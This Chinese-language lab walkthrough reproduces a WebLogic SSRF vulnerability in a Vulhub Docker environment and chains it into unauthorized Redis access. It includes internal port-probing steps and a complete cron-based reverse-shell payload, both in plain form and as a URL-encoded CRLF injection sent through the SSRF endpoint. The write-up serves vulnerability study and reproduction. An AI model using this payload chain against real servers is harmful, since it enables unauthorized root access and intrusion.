C语言专栏:C语言基本语法、基本操作、相关库函数的编写,相关内存分析
C++专栏:C++基本语法、C++相关结构剖析,详细例题,相关小型Demo的编写
数据结构专栏:基本数据结构原理介绍,代码实现,相关Leetcode例题讲解剖析
漏洞复现专栏:相关漏洞的原理介绍,进行漏洞复现,对相关漏洞进行整体的把握与感知
干货满满,陆续更新ing
目录
Weblogic SSRF漏洞复现
漏洞描述
Weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中Redis、Fastcgi等脆弱组件。
Redis存在未授权访问漏洞,在访问redis数据库时,无需提供用户名及密码,且具备root权限读写文件。
漏洞原理
SSRF
服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。
正常用户访问网站的流程是:
输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤)处理 -->返回用户响应
【网站有个请求是www.baidu,com/xxx.php?image=URL】
安全的网站应接收请求后,检测请求的合法性
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据
例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg
如果将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址
如果存在该内网地址就会返回1xx 2xx 3xx 4xx之类的状态码,不存在就会其他的状态码
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以这个请求中的身份来访问其他服务器的资源。
Redis未授权访问
未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别,导致攻击者在没有获取到登录权限或未授权的情况下,对目标进行操作或者被信息泄露
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
影响版本
Weblogic 10.0.2 – 10.3.6版本
漏洞环境
kali-docker:192.168.0.108
靶机(Ubuntu):192.168.0.109
Vulhub:weblogic从SSRF到Redis未授权访问到Getshell
Redis未授权访问:Redis数据库不需要用户名密码就可以访问数据库,具有root权限,可以读写文件
漏洞复现
SSRF漏洞探测
- 切换到Vulhub/Weblogic/ssrf下,开启环境(需提前安装docker环境)
docker-compose build
docker-compose up -d
- 访问漏洞存在点http://192.168.0.109:7001/uddiexplorer
- 选择Search Public Registries,点击search,使用burp suite抓包
- 将URL中部分内容进行URL解码
- Send,右击Response,点击Send to Comparer,返回Repeater,修改地址为www.baidu.com,Send,右击Response,点击Send to Comparer,Comparer中,words
修改URL后,伪造服务器端请求资源,接收到response,存在SSRF漏洞
从SSRF利用到Redis未授权访问
- 伪造服务器端发送请求,修改URL,探测内网,探测端口,如果指定端口开放则会返回带有404内容的提示(404:访问资源不存在,端口服务开放)
- 修改端口号,探测端口是否开放,未开放445端口
- 下一步可以根据该处的响应,来盲测其所在内网的IP地址。此时我们先测试一下靶机所配置的IP地址,将该请求体中的URL参数修改为http://192.168.0.108:7001,并点击发送,响应页面显示没有找到对应IP地址。这是因为该架构处于容器内,容器内属于一个局域网,192.168.0.0网段对于容器而言是其他局域网,由于没有对容器所对应的网关配置路由表,所以找不到该IP。
- 探测内网IP地址可使用字典进行内IP爆破,因此处使用docker容器环境,故查看Redis服务所在IP地址
# docker ps
# docker exec -it 3f3c5f3a0692 "/bin/bash"
# ifconfig
# ls -al /etc/crontab
-rw-r--r-- 1 root root 457 Sep 27 2011 /etc/crontab
# cp /etc/crontab /etc/crontab.bak
exit
得到docker Redis地址为:172.19.0.2
- 修改URL,Send,探测6379端口为开放,可能存在未授权访问
从Redis未授权访问到Getshell
docker-weblogic-ssrf-Linux
- crontab:计划任务
- cat crontab
- exit
进入kali,开启特定端口接收返回的shell
ncat -lvvp 777
利用Redis未授权访问漏洞,反弹shell到kali终端
- 在任意时间以root将bash弹到后面这个IP的地址端口,需要接收端开启对应端口才能接收到。
- 设置目录
- 设置文件
- 将信息保存到对应的目录中
test
set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/192.168.0.108/777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
URL编码
http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.108%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
- 将上述编码添加到Repeater模块中,Send,成功Getshell
关闭靶场
docker-compose down
看到这里,如果感觉文章对你有帮助,不要忘记一键三连哦!